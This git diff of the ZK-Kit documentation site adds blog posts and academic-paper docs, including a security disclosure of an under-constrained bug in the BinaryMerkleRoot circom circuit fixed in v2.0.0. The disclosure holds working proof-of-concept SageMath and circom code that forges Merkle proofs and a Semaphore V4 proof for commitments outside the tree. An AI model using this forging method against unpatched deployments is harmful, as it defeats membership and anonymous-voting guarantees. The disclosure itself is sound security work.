diff --git a/blog/2019-05-28-first-blog-post.md b/blog/2019-05-28-first-blog-post.md deleted file mode 100644 index d3032ef..0000000 --- a/blog/2019-05-28-first-blog-post.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -slug: first-blog-post -title: First Blog Post -authors: [slorber, yangshun] -tags: [hola, docusaurus] ---- - -Lorem ipsum dolor sit amet... - - - -...consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet diff --git a/blog/2019-05-29-long-blog-post.md b/blog/2019-05-29-long-blog-post.md deleted file mode 100644 index eb4435d..0000000 --- a/blog/2019-05-29-long-blog-post.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -slug: long-blog-post -title: Long Blog Post -authors: yangshun -tags: [hello, docusaurus] ---- - -This is the summary of a very long blog post, - -Use a `` comment to limit blog post size in the list view. - - - -Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet - -Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet - -Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet - -Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet - -Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet - -Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet - -Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet - -Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet - -Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet - -Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet - -Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet - -Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet - -Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet - -Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet - -Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet - -Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet diff --git a/blog/2021-08-01-mdx-blog-post.mdx b/blog/2021-08-01-mdx-blog-post.mdx deleted file mode 100644 index df5447b..0000000 --- a/blog/2021-08-01-mdx-blog-post.mdx +++ /dev/null @@ -1,20 +0,0 @@ ---- -slug: mdx-blog-post -title: MDX Blog Post -authors: [slorber] -tags: [docusaurus] ---- - -Blog posts support [Docusaurus Markdown features](https://docusaurus.io/docs/markdown-features), such as [MDX](https://mdxjs.com/). - -:::tip - -Use the power of React to create interactive blog posts. - -::: - -{/* truncate */} - -For example, use JSX to create an interactive button: - - diff --git a/blog/2021-08-26-welcome/docusaurus-plushie-banner.jpeg b/blog/2021-08-26-welcome/docusaurus-plushie-banner.jpeg deleted file mode 100644 index 11bda09..0000000 Binary files a/blog/2021-08-26-welcome/docusaurus-plushie-banner.jpeg and /dev/null differ diff --git a/blog/2021-08-26-welcome/index.md b/blog/2021-08-26-welcome/index.md deleted file mode 100644 index 349ea07..0000000 --- a/blog/2021-08-26-welcome/index.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -slug: welcome -title: Welcome -authors: [slorber, yangshun] -tags: [facebook, hello, docusaurus] ---- - -[Docusaurus blogging features](https://docusaurus.io/docs/blog) are powered by the [blog plugin](https://docusaurus.io/docs/api/plugins/@docusaurus/plugin-content-blog). - -Here are a few tips you might find useful. - - - -Simply add Markdown files (or folders) to the `blog` directory. - -Regular blog authors can be added to `authors.yml`. - -The blog post date can be extracted from filenames, such as: - -- `2019-05-30-welcome.md` -- `2019-05-30-welcome/index.md` - -A blog post folder can be convenient to co-locate blog post images: - -![Docusaurus Plushie](./docusaurus-plushie-banner.jpeg) - -The blog supports tags as well! - -**And if you don't want a blog**: just delete this directory, and use `blog: false` in your Docusaurus config. diff --git a/blog/authors.yml b/blog/authors.yml index 14e3099..e051fe9 100644 --- a/blog/authors.yml +++ b/blog/authors.yml @@ -1,23 +1,8 @@ -yangshun: - name: Yangshun Tay - title: Front End Engineer @ Facebook - url: https://github.com/yangshun - image_url: https://github.com/yangshun.png +"team": + name: ZK-Kit Team + title: Zero-Knowledge Development Team + url: https://github.com/privacy-scaling-explorations/zk-kit + image_url: https://github.com/privacy-scaling-explorations.png page: true socials: - x: yangshunz - github: yangshun - -slorber: - name: SΓ©bastien Lorber - title: Docusaurus maintainer - url: https://sebastienlorber.com - image_url: https://github.com/slorber.png - page: - # customize the url of the author page at /blog/authors/ - permalink: "/all-sebastien-lorber-articles" - socials: - x: sebastienlorber - linkedin: sebastienlorber - github: slorber - newsletter: https://thisweekinreact.com + github: privacy-scaling-explorations diff --git a/blog/tags.yml b/blog/tags.yml index 45f6f11..f656c2c 100644 --- a/blog/tags.yml +++ b/blog/tags.yml @@ -1,19 +1,24 @@ -facebook: - label: Facebook - permalink: /facebook - description: Facebook tag description +zero-knowledge: + label: Zero-Knowledge + permalink: /zero-knowledge + description: Zero-knowledge cryptography and privacy technologies -hello: - label: Hello - permalink: /hello - description: Hello tag description +ZK-Kit: + label: ZK-Kit + permalink: /zk-kit + description: ZK-Kit library and development tools -docusaurus: - label: Docusaurus - permalink: /docusaurus - description: Docusaurus tag description +circom: + label: Circom + permalink: /circom + description: Circom zero-knowledge circuit development -hola: - label: Hola - permalink: /hola - description: Hola tag description +Semaphore: + label: Semaphore + permalink: /semaphore + description: Semaphore privacy protocol + +MACI: + label: MACI + permalink: /maci + description: Minimal Anti-Collusion Infrastructure diff --git a/blog/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/cover.webp b/blog/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/cover.webp new file mode 100644 index 0000000..6aa8c9e Binary files /dev/null and b/blog/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/cover.webp differ diff --git a/blog/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/index.md b/blog/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/index.md new file mode 100644 index 0000000..93588c8 --- /dev/null +++ b/blog/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/index.md @@ -0,0 +1,325 @@ +--- +authors: team +title: "Under-Constrained Bug in BinaryMerkleRoot Circuit (Fixed in v2.0.0)" +image: "./cover.webp" +tldr: "A bug in the BinaryMerkleRoot circuit allowed invalid Merkle tree leaves to produce valid zero-knowledge proofs due to missing constraints." +date: "2025-07-01" +tags: ["zero-knowledge", "ZK-Kit", "circom", "Semaphore", "MACI"] +projects: ["zk-kit", "semaphore", "maci"] +canonical: "https://pse.dev/blog/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200" +--- + +**Summary**: A bug in the [BinaryMerkleRoot](https://github.com/privacy-scaling-explorations/zk-kit.circom/blob/binary-merkle-root.circom-v1.0.0/packages/binary-merkle-root/src/binary-merkle-root.circom) circuit allowed users to generate valid zero-knowledge proofs with leaves that were not part of the Merkle tree. The issue stemmed from missing constraints on the binary selectors in the [MultiMux1](https://github.com/iden3/circomlib/blob/master/circuits/mux1.circom#L21) circuit. This has been fixed in version [2.0.0](https://github.com/privacy-scaling-explorations/zk-kit.circom/releases/tag/binary-merkle-root.circom-v2.0.0) by enforcing that all indices are binary inside the circuit. + +## Timeline + +On May 28th, the [OtterSec team](https://osec.io/) contacted the ZK-Kit team to report an under-constrained bug in the [BinaryMerkleRoot](https://github.com/privacy-scaling-explorations/zk-kit.circom/blob/binary-merkle-root.circom-v1.0.0/packages/binary-merkle-root/src/binary-merkle-root.circom) circuit. + +We sincerely thank the two primary researchers from OtterSec who discovered the bug and provided code examples demonstrating it: Quasar and TuyαΊΏt. + +PSE has worked with OtterSec to identify projects vulnerable and reached out to them. + +We would also like to thank the [zkSecurity](https://www.zksecurity.xyz/) team, who reached out on June 25 to report the same bug and contributed to identifying and contacting potentially affected projects. + +After discussions with OtterSec and projects using this circuit to determine the most secure and robust way to address the issue, a fix was pushed, reviewed, and a new version of `BinaryMerkleRoot` was released on June 30 πŸŽ‰: [v2.0.0](https://github.com/privacy-scaling-explorations/zk-kit.circom/releases/tag/binary-merkle-root.circom-v2.0.0) + +## Technical details + +When using the [MultiMux1](https://github.com/iden3/circomlib/blob/master/circuits/mux1.circom#L21) circuit, it's essential to ensure that the selector is 0 or 1. The `BinaryMerkleRoot` circuit was missing the constraints to enforce this. + +These constraints might not be necessary in projects that: + +- Validate binary values in a separate circuit (outside this one), or +- Use a circuit like [Num2Bits](https://github.com/iden3/circomlib/blob/master/circuits/bitify.circom#L25), which ensures outputs are 0 or 1. + +Circuits like [Semaphore V4](https://github.com/semaphore-protocol/semaphore/blob/v4.11.1/packages/circuits/src/semaphore.circom), which do not verify that path indices are binary (0 or 1) outside the circuit, are affected. Any circuit using `BinaryMerkleRoot` versions prior to `2.0.0` without enforcing binary constraints externally may also be affected. + +This issue makes it possible to generate a valid zero-knowledge proof with a leaf that is not in the Merkle tree, which would still verify successfully. Similarly, an attacker could generate a valid Semaphore V4 proof. + +### Solution + +Changes to `BinaryMerkleRoot`: + +1. Replaced `indices[MAX_DEPTH]` with `index`: + Instead of passing an array of indices representing the Merkle path, the circuit now takes a single decimal `index`, whose binary representation defines the path. +2. Added before the `for` loop: + `signal indices[MAX_DEPTH] <== Num2Bits(MAX_DEPTH)(index);` + This line converts the decimal `index` into its binary representation. + +See the full update in this [pull request](https://github.com/privacy-scaling-explorations/zk-kit.circom/pull/25). + +If you need the circuit without the new constraints, please continue using version: `1.0.0` of the `BinaryMerkleRoot` circuit. + +With this bug fix, the Semaphore V4 circuit is being updated to use the latest version of `BinaryMerkleRoot`. A new trusted setup ceremony will be conducted, and all related Semaphore packages and contracts will be updated accordingly. + +## Reproducing the Bug + +Install [SageMath](https://www.sagemath.org/), version [10.5](https://github.com/3-manifolds/Sage_macOS/releases/tag/v2.5.0) was used for the code below, which generates test values to reproduce the bug. + +Given a commitment and its Merkle siblings, it's possible to take a different commitment and find a new set of siblings and indices that produce the same root. + +```py +# normal pair from exploit +target0 = 5407869850562333726769604095330004527418297248703115046359956082084347839061 +target1 = 18699903263915756199535533399390350858126023699350081471896734858638858200219 +p = 21888242871839275222246405745257275088548364400416034343698204186575808495617 +def mux(x, y, sel): + return [ + ((y - x)*sel + x) % p, + ((x - y)*sel + y) % p, + ] + +F = GF(p)['sel, S'] + +N = 8501798477768465939972755925731717646123222073408967613007180932472889698337 # evil commitment + +sel, S = F.gens() +m = mux(N, S, sel) +I = Ideal([m[0] - target0, m[1] - target1]) +v = I.variety()[0] +print("sel:", v[sel]) +print("S:", v[S]) +``` + +## Impact on ZK-Kit BinaryMerkleRoot circuit + +The following code can be tested on [zkrepl](https://zkrepl.dev/). + +Examples will be provided for proof lengths 1 and 2, but the same approach applies to proofs of greater length as well. + +### Proof Length 1 + +#### Steps + +1. Assign the value `5407869850562333726769604095330004527418297248703115046359956082084347839061` to `target0`. +2. Assign the value: `18699903263915756199535533399390350858126023699350081471896734858638858200219` to `target1`. +3. Set `N` to the commitment you want to test. For this example, use `8501798477768465939972755925731717646123222073408967613007180932472889698337`. +4. You will get two values: `sel` (used in `evilmerkleProofIndices`) and `S` (used in `evilmerkleProofSiblings`). + +![Sage Math ZK-Kit Proof Length 1](./sage-math-zk-kit-proof-length-1.webp) + +#### Circom Code + +```circom +pragma circom 2.1.5; + +include "circomlib/circuits/poseidon.circom"; +include "circomlib/circuits/mux1.circom"; +include "circomlib/circuits/comparators.circom"; + +// Copy/paste BinaryMerkleRoot circuit from https://github.com/privacy-scaling-explorations/zk-kit.circom/blob/binary-merkle-root.circom-v1.0.0/packages/binary-merkle-root/src/binary-merkle-root.circom + +template Poc () { + +// Root: 11531730952042319043316244572610162829336743623472270581141123607628087976577 +// / \ +// 5407869850562333726769604095330004527418297248703115046359956082084347839061 18699903263915756199535533399390350858126023699350081471896734858638858200219 + + + var identityCommitment = 5407869850562333726769604095330004527418297248703115046359956082084347839061; + var merkleProofLength = 1; + var merkleProofIndices[12] = [ + 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0 + ]; + var merkleProofSiblings[12] = [ + 18699903263915756199535533399390350858126023699350081471896734858638858200219, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0 + ]; + var root = BinaryMerkleRoot(12)(identityCommitment, merkleProofLength, merkleProofIndices, merkleProofSiblings); + log("========================================="); + var evilidentityCommitment = 8501798477768465939972755925731717646123222073408967613007180932472889698337; + var evilmerkleProofLength = 1; + var evilmerkleProofIndices[12] = [ + 18511496158608553025564813493375997586708949594403917543049321156580578626782, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0 + ]; + var evilmerkleProofSiblings[12] = [ + 15605974636709623986332381568988637739421098874644228905249510008250316340943, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0 + ]; + var evilroot = BinaryMerkleRoot(12)(evilidentityCommitment, evilmerkleProofLength, evilmerkleProofIndices, evilmerkleProofSiblings); + log("root", root); + log("evilroot", evilroot); +} + +component main = Poc(); + +/* INPUT = { + +} */ +``` + +#### Result + +Identical roots: + +``` +root 11531730952042319043316244572610162829336743623472270581141123607628087976577 +evilroot 11531730952042319043316244572610162829336743623472270581141123607628087976577 +``` + +### Proof Length 2 + +#### Steps + +1. Use the two nodes that generate the root as `target0` and `target1`, respectively. +2. Set the first value of `evilMerkleProofIndices` to 0. +3. Use your chosen value for `evilMerkleProofSiblings[0]`. +4. Set `evilIdentityCommitment` to the commitment you want to test. For this example, use `20487509512443004370293742889271596038604851758367067799025496182227063091563`. +5. For N, compute the Poseidon hash of `evilIdentityCommitment` and the sibling value you provided for `evilMerkleProofSiblings[0]`. +6. The program will then generate two new values, these correspond to `evilMerkleProofIndices[1]` and `evilMerkleProofSiblings[1]`. + +![Sage Math ZK-Kit Proof Length 2](./sage-math-zk-kit-proof-length-2.webp) + +#### Circom Code + +```circom +pragma circom 2.1.5; + +include "circomlib/circuits/poseidon.circom"; +include "circomlib/circuits/mux1.circom"; +include "circomlib/circuits/comparators.circom"; + +// Copy/paste BinaryMerkleRoot circuit from https://github.com/privacy-scaling-explorations/zk-kit.circom/blob/binary-merkle-root.circom-v1.0.0/packages/binary-merkle-root/src/binary-merkle-root.circom + +template Poc () { + +// Root: 3330844108758711782672220159612173083623710937399719017074673646455206473965 +// / \ +// 7853200120776062878684798364095072458815029376092732009249414926327459813530 14763215145315200506921711489642608356394854266165572616578112107564877678998 +// / \ / \ +// 1 2 3 4 + + + var identityCommitment = 1; + var merkleProofLength = 2; + var merkleProofIndices[10] = [ + 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0 + ]; + var merkleProofSiblings[10] = [ + 2, 14763215145315200506921711489642608356394854266165572616578112107564877678998, 0, 0, 0, 0, 0, + 0, 0, 0 + ]; + var root = BinaryMerkleRoot(10)(identityCommitment, merkleProofLength, merkleProofIndices, merkleProofSiblings); + log("========================================="); + var evilidentityCommitment = 20487509512443004370293742889271596038604851758367067799025496182227063091563; + var evilmerkleProofLength = 2; + var evilmerkleProofIndices[10] = [ + 0, 20090961965327877873740014701675383996709275086978553778175856788671012923384, 0, 0, 0, 0, 0, + 0, 0, 0 + ]; + var evilmerkleProofSiblings[10] = [ + 123, 7220940974207102838199646378738698939797703046232240580227300284330411250489, 0, 0, 0, 0, 0, + 0, 0, 0 + ]; + var evilroot = BinaryMerkleRoot(10)(evilidentityCommitment, evilmerkleProofLength, evilmerkleProofIndices, evilmerkleProofSiblings); + log("root", root); + log("evilroot", evilroot); +} + +component main = Poc(); + +/* INPUT = { + +} */ +``` + +#### Result + +Identical roots: + +``` +root 3330844108758711782672220159612173083623710937399719017074673646455206473965 +evilroot 3330844108758711782672220159612173083623710937399719017074673646455206473965 +``` + +## Impact on Semaphore + +The following code can be tested on [zkrepl](https://zkrepl.dev/). + +#### Steps + +1. Create a Semaphore identity and assign its `secretScalar` to `secret`. +2. Assign `merkleProofLength`, `merkleProofIndices` and `merkleProofSiblings`, according to the tree. +3. Assign the `secretScalar` of the identity you want to test to `evilsecret`. The identity for the example is a deterministic Semaphore identity with private key: `"123456"`. +4. Assign the value `18699903263915756199535533399390350858126023699350081471896734858638858200219` to `target0`. +5. Assign the value: `15684639248941018939207157301644512532843622097494605257727533950250892147976` to `target1`. +6. Set `N` to the commitment of the Semaphore identity with secret scalar `evilsecret`, in this case `6064632857532276925033625901604953426426313622216578376924090482554191077680`. +7. You will get two values: `sel` (used in `evilmerkleProofIndices`) and `S` (used in `evilmerkleProofSiblings`). +8. Use any values you prefer for `message`, `scope`, `evilmessage` and `evilscope`. + +![Sage Math Semaphore](./sage-math-semaphore.webp) + +#### Circom Code + +```circom +pragma circom 2.1.5; + +include "circomlib/circuits/poseidon.circom"; +include "circomlib/circuits/mux1.circom"; +include "circomlib/circuits/comparators.circom"; +include "circomlib/circuits/babyjub.circom"; + +// Copy/paste BinaryMerkleRoot circuit from https://github.com/privacy-scaling-explorations/zk-kit.circom/blob/binary-merkle-root.circom-v1.0.0/packages/binary-merkle-root/src/binary-merkle-root.circom + +// Copy/paste Semaphore circuit from https://github.com/semaphore-protocol/semaphore/blob/v4.11.1/packages/circuits/src/semaphore.circom + +template Poc () { + +// Root: 4905128572429258830106379299856267023583307500817503813881845182698965800745 +// / \ +// 18699903263915756199535533399390350858126023699350081471896734858638858200219 15684639248941018939207157301644512532843622097494605257727533950250892147976 + + + var secret = 1978755119068081247093963160279604962264019399313700915496711871956252953559; + var merkleProofLength = 1; + var merkleProofIndices[10] = [ + 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0 + ]; + var merkleProofSiblings[10] = [ + 15684639248941018939207157301644512532843622097494605257727533950250892147976, 0, 0, 0, 0, 0, 0, + 0, 0, 0 + ]; + var message = 123; + var scope = 1; + + var (root, nullifier) = Semaphore(10)(secret, merkleProofLength, merkleProofIndices, merkleProofSiblings, message, scope); + log("========================================="); + + var evilsecret = 1352222402399481130087448567392608653639881123399864909525072050336173771260; + var evilmerkleProofLength = 1; + var evilmerkleProofIndices[10] = [ + 9228398241747548072288697997709004271591955927781758657125859189315051293271, 0, 0, 0, 0, 0, 0, + 0, 0, 0 + ]; + var evilmerkleProofSiblings[10] = [ + 6431666783485222991462659054172634875994967774212074009001974139759750774898, 0, 0, 0, 0, 0, 0, + 0, 0, 0 + ]; + var evilmessage = 123; + var evilscope = 1; + + var (evilroot, evilnullifier) = Semaphore(10)(evilsecret, evilmerkleProofLength, evilmerkleProofIndices, evilmerkleProofSiblings, evilmessage, evilscope); + + log("root", root); + log("evilroot", evilroot); +} + +component main = Poc(); + +/* INPUT = { + +} */ +``` + +#### Result + +Identical roots: + +``` +root 4905128572429258830106379299856267023583307500817503813881845182698965800745 +evilroot 4905128572429258830106379299856267023583307500817503813881845182698965800745 +``` diff --git a/blog/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/sage-math-semaphore.webp b/blog/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/sage-math-semaphore.webp new file mode 100644 index 0000000..a38d043 Binary files /dev/null and b/blog/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/sage-math-semaphore.webp differ diff --git a/blog/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/sage-math-zk-kit-proof-length-1.webp b/blog/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/sage-math-zk-kit-proof-length-1.webp new file mode 100644 index 0000000..becd460 Binary files /dev/null and b/blog/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/sage-math-zk-kit-proof-length-1.webp differ diff --git a/blog/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/sage-math-zk-kit-proof-length-2.webp b/blog/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/sage-math-zk-kit-proof-length-2.webp new file mode 100644 index 0000000..f3ca617 Binary files /dev/null and b/blog/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/sage-math-zk-kit-proof-length-2.webp differ diff --git a/blog/zk-kit-cultivating-the-garden-of-progcrypto/index.md b/blog/zk-kit-cultivating-the-garden-of-progcrypto/index.md new file mode 100644 index 0000000..2520b53 --- /dev/null +++ b/blog/zk-kit-cultivating-the-garden-of-progcrypto/index.md @@ -0,0 +1,71 @@ +--- +authors: team +title: "ZK-Kit: Cultivating the Garden of ProgCrypto" # +image: "/articles/zk-kit-cultivating-the-garden-of-progcrypto/cover.webp" +tldr: "ZK-Kit is a collection of secure and easy-to-use libraries that make building privacy tools safer and faster. PSE has grown it, and now we invite the community to expand it together." +date: "2025-09-23" +tags: ["zero-knowledge", "ZK-Kit"] +projects: ["zk-kit", "semaphore", "maci"] +canonical: "https://pse.dev/blog/zk-kit-cultivating-the-garden-of-progcrypto" +--- + +ProgCrypto has [conquered](https://l2beat.com/scaling/summary) scalability, but privacy still has ways to go. By improving our tooling, we expedite the journey towards a more privacy-conscious future. + +Software libraries shy away behind an interface but they pack a lot of heat. They are a developer's best friend: boosting productivity without imposing too much of an opinion on the overall application -unlike their fiesty loud sibling, SDKs. + +ProgCrypto libraries are _especially_ special because they shield developers from security and soundness minefields had they rolled their own cryptography -an ever present concern. + +But that is only true when libraries are: + +- Open-sourced for maximal eye-ball attention and bug detection +- Well-tested and audited +- Carefully designed to avoid accidental mishaps that can result from poorly designed interfaces and leaky data-function encapsulations +- Well-documented not only to minimize onboarding overhead on developers but also ensure proper use and understanding of security assumptions + +At PSE, we love ProgCrypto libraries. + +We lift modular components from the [projects we build](https://pse.dev/en/projects), put them through dedicated security reviews, benchmarking, and thorough and continous testing. We also put emphasis on cleanly standardized interfaces across different implementations of the same functionality in different languages -_learn it once, use it everywhere_. + +This effort has culminated into our garden of ProgCrypto libraries: [ZK-Kit](https://github.com/zk-kit). Since its early days, we have only increasingly doubled-down on this conscious effort, leading to: + +- 23 packages in 5 supported languages +- ~200 users by repository counts +- ~30 contributors (~7 from PSE) +- ~1500 commits + +### The Mathematics of Zero-Knowledge + +Zero-knowledge proofs rely on sophisticated mathematical foundations. At their core, they enable proving knowledge of a secret $w$ such that $(x, w) \in R$ for some relation $R$, without revealing $w$. + +The security of these systems often depends on computational assumptions like the discrete logarithm problem: given $g$ and $h = g^w$ in a group $\mathbb{G}$, it's computationally infeasible to find $w$. + +Our libraries abstract these complex mathematical operations, allowing developers to focus on application logic rather than cryptographic implementation details. + +### We want even more goodness + +Today we would like to open the gates to this beautiful garden and welcome a wider community contributors to be part of its journey, pushing it to new heights. + +We call upon fellow developers and peer projects in our ecosystem to lift useful modular libraries from their codebases, and plant them in this communal garden. + +Having the community coalescing around standardized libraries of common primitives is now a major goal for PSE. + +Our standards are high, but we hope the community finds the contribution process and feedback a valuable learning process and a badge of achievement upon a successful merge. + +We are more ambitious that ever to: + +- Add more libraries while ever increasing quality controls: testing, benchmarking, security reviews, and assessment of interface ergonomics +- Increase awareness and help onboard contributors +- Give active contributors and projects a say in governance, standards and best practices + +We invite peer projects in our ecosystem to lift modular components that can be useful to others, and contribute to ZK-Kit. This is a win-win: + +- A win for the contributing projects for having extra eyes on their components and having them stress-tested and security-reviewed +- A win for the community of developers to boost their productivity and lean on their new components + +We also invite independent developers to proactively contribute to ZK-Kit. Successfully contributing to this garden is not only a learning experience (our standards are high and there will likely be reviews and revisions), but also a chance to leave your mark on countless other projects that may use your code: + +- Transplant a Pull Request tree or bring an [issue](https://github.com/zk-kit#-open-issues) flower into the ZK-Kit garden +- Get help and advice about your intended contribution in the [community channel](https://github.com/zk-kit/zk-kit/discussions) +- Raise awareness of ZK-Kit, (re)use it and give feedback + +We would like to extend a big thank you to all the contributors and maintainers who made this possible. We are excited to continue supporting ZK-Kit with even more community involvement. diff --git a/docs/_category_.json b/docs/_category_.json new file mode 100644 index 0000000..306fefe --- /dev/null +++ b/docs/_category_.json @@ -0,0 +1,9 @@ +{ + "label": "Documentation", + "position": 1, + "link": { + "type": "generated-index", + "description": "Welcome to the ZK-Kit documentation. Choose a section below to get started." + } +} + diff --git a/docs/academic-papers.md b/docs/academic-papers.md new file mode 100644 index 0000000..73ea3f0 --- /dev/null +++ b/docs/academic-papers.md @@ -0,0 +1,309 @@ +--- +sidebar_position: 9 +title: Academic Papers & Research +--- + +# Academic Papers & Research + +ZK-Kit implementations are backed by rigorous academic research and cryptographic theory. This section provides access to research papers and academic resources that explain the underlying algorithms and data structures. + +## Published Papers + +### LeanIMT: A Lean Incremental Merkle Tree + +The LeanIMT is an optimized binary version of the Incremental Merkle Tree. This paper presents a novel approach that: +- Eliminates the use of zero values in incomplete nodes +- Implements dynamic depth adjustment based on leaf count +- Significantly reduces hash calculations compared to traditional IMT + +**Key Contributions:** +- Mathematical proof of correctness +- Security analysis +- Performance benchmarks +- Comparison with existing implementations + +**Download**: [LeanIMT Paper (PDF)](https://github.com/privacy-scaling-explorations/zk-kit/raw/main/papers/leanimt/paper/leanimt-paper.pdf) + +**Visual Explanation**: For a more accessible understanding, see the [LeanIMT documentation](/docs/packages/javascript/lean-imt). + +## Related Academic Papers + +While not authored by the ZK-Kit team, these papers provide foundational knowledge for the cryptographic primitives used in ZK-Kit: + +### Baby Jubjub Elliptic Curve + +**Title**: ERC-2494: Baby Jubjub Elliptic Curve +**Authors**: Barry WhiteHat, Marta BellΓ©s, Jordi Baylina +**Date**: 2020-01-29 +**Link**: [https://eips.ethereum.org/EIPS/eip-2494](https://eips.ethereum.org/EIPS/eip-2494) + +**Used in**: `@zk-kit/baby-jubjub`, `@zk-kit/eddsa-poseidon` + +The Baby Jubjub elliptic curve is specifically designed for efficient zero-knowledge proof systems. It's a twisted Edwards curve defined over a prime field that enables fast operations within ZK circuits. + +### Poseidon Hash Function + +**Title**: POSEIDON: A New Hash Function for Zero-Knowledge Proof Systems +**Authors**: Lorenzo Grassi, Dmitry Khovratovich, Christian Rechberger, Arnab Roy, Markus Schofnegger +**Year**: 2019 +**Link**: [https://eprint.iacr.org/2019/458.pdf](https://eprint.iacr.org/2019/458.pdf) + +**Used in**: `@zk-kit/poseidon-cipher`, `@zk-kit/poseidon-proof`, `@zk-kit/eddsa-poseidon` + +Poseidon is a hash function optimized for ZK-SNARK systems. It minimizes the number of constraints in arithmetic circuits, making proofs faster and more efficient than using traditional hash functions like SHA-256. + +### EdDSA Signatures + +**Title**: EdDSA for more curves +**Authors**: Daniel J. Bernstein, et al. +**Link**: [https://ed25519.cr.yp.to/](https://ed25519.cr.yp.to/) + +**Used in**: `@zk-kit/eddsa-poseidon` + +Edwards-curve Digital Signature Algorithm (EdDSA) provides fast, secure digital signatures. ZK-Kit's implementation uses EdDSA with the Poseidon hash and Baby Jubjub curve for ZK-circuit efficiency. + +### Sparse Merkle Trees + +**Title**: Sparse Merkle Trees +**Authors**: Various +**Link**: [https://docs.iden3.io/publications/pdfs/Merkle-Tree.pdf](https://docs.iden3.io/publications/pdfs/Merkle-Tree.pdf) + +**Used in**: `@zk-kit/smt` + +Sparse Merkle Trees extend traditional Merkle trees to efficiently handle sparse data with non-membership proofs, crucial for applications like identity systems and state management. + +## Research Applications + +ZK-Kit libraries are used in cutting-edge research and production systems: + +### Semaphore Protocol + +**Website**: [semaphore.pse.dev](https://semaphore.pse.dev) +**GitHub**: [semaphore-protocol/semaphore](https://github.com/semaphore-protocol/semaphore) + +A zero-knowledge protocol for anonymous proof of membership and signaling. + +**Uses ZK-Kit for:** +- Incremental Merkle Trees (IMT) for identity groups (V3) +- Lean Incremental Merkle Trees (LeanIMT) for identity groups (V4) +- EdDSA-Poseidon signatures +- Poseidon hashing + +**Research Impact**: Enables anonymous voting, whistleblowing, and private authentication systems. + +### Worldcoin + +**Website**: [worldcoin.org](https://worldcoin.org) +**GitHub**: [worldcoin](https://github.com/worldcoin) + +Proof of personhood protocol with millions of verified humans. + +**Uses ZK-Kit for:** +- IMT for identity management +- Anonymous proof of humanity +- Large-scale Merkle tree management + +**Research Impact**: Demonstrates ZK-Kit's scalability with millions of users in production. + +### Zupass + +**Website**: [zupass.org](https://zupass.org) +**GitHub**: [proofcarryingdata/zupass](https://github.com/proofcarryingdata/zupass) + +Software for managing 